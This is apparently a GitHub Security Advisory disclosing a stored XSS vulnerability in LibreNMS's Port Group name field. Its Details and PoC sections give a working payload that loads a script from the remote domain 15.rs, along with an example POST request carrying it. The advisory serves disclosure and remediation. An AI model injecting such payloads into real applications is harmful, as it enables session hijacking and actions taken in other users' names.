GHSA-xh4g-c9p6-5jxg
GitHub Security Advisory
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
Advisory Details
### Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the "Port Settings" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.
### Details
When creating a new "Port Group," an attacker can inject the following XSS payload into the "name" parameter:
```<script/src=//15.rs></script>```
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers when the affected Port Group is added to a device and the "Port Settings" page is reloaded. The vulnerability is due to insufficient sanitization of the "name" parameter. The sink responsible for this issue is:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69
### PoC
1. Create a new Port Group using the following payload in the "name" parameter:
```name<script/src=//15.rs></script>```
2. Add the Port Group to a device's port settings.
3. Reload the "Port Settings" page.
4. Observe that the injected script executes.
Example Request:
```http
POST /port-groups HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>
_token=<your_token>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>
```
### Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.
Affected Packages
Related CVEs
Key Information
Dataset
Data from GitHub Advisory Database. This information is provided for research and educational purposes.